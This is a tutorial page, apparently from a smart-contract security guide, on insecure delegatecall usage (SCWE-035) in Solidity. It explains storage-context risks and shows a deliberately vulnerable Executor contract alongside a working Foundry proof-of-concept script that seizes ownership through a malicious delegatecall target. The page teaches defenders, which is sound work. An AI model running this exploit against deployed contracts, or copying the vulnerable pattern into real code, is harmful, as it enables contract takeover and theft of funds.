Insecure DelegateCall

SCWE-035: Insecure Delegatecall Usage

Theory

delegatecall is one of the most dangerous low-level operations in Solidity. When misused, it can lead to arbitrary code execution, storage corruption, ownership takeover, and complete contract compromise.

delegatecall invokes code from another contract, but executes it in the caller's context. This means:

  • msg.sender remains the original caller

  • msg.value is unchanged

  • The code runs with the caller’s storage layout

  • State variables are written to the caller’s storage slots

  • The callee’s storage is ignored entirely

Essentially, the callee’s contract becomes a logic extension of the caller.

delegateCall schema

This makes delegatecall extremely dangerous as the delegated contract runs with full authority and writes to the caller’s storage, a single unsafe delegatecall can compromise the entire system.

Storage Layout Dependency

Because the callee reads and writes storage as if it owned the caller’s storage, security fully depends on strictly matching storage layouts:

Slot
Proxy Storage
Library Storage

0

owner

???

1

implementation

???

2

userBalance

???

If the library’s first variable is not owner, then calling it using delegatecall overwrites the wrong slot, corrupting the state.

Practice

Arbitrary Code Execution via User-Controlled Address

When a contract allows the caller to specify the target address for delegatecall, it effectively grants them full code execution authority.

Since the delegated code runs in the caller’s storage context, an attacker can deploy a malicious contract and force the caller to execute it, modifying critical storage values such as ownership variables.

// Vulnerable Contract
pragma solidity ^0.8.13;

contract Executor {
    address public lib;
    address public owner;

    function execute(bytes memory data, address target) public {
        target.delegatecall(data);   // User controls delegatecall target
    }
}

The attacker simply needs to provide a malicious implementation and the encoded function call.

// PoC
// forge script scripts/DelegatecallArbitraryExec.s.sol --rpc-url $RPC_URL --broadcast
pragma solidity ^0.8.0;

import "forge-std/Script.sol";

interface IExecutor {
    function execute(bytes calldata, address) external;
}

contract Attack {
    address public lib;
    address public owner;

    function pwn() external {
        owner = msg.sender;
    }
}

contract DelegatecallArbitraryExec is Script {
    function run() external {
        vm.startBroadcast();

        IExecutor exec = IExecutor(vm.envAddress("EXECUTOR"));
        Attack attack = new Attack();

        bytes memory payload = abi.encodeWithSignature("pwn()");

        exec.execute(payload, address(attack));

        vm.stopBroadcast();
    }
}

Resources

Last updated

Was this helpful?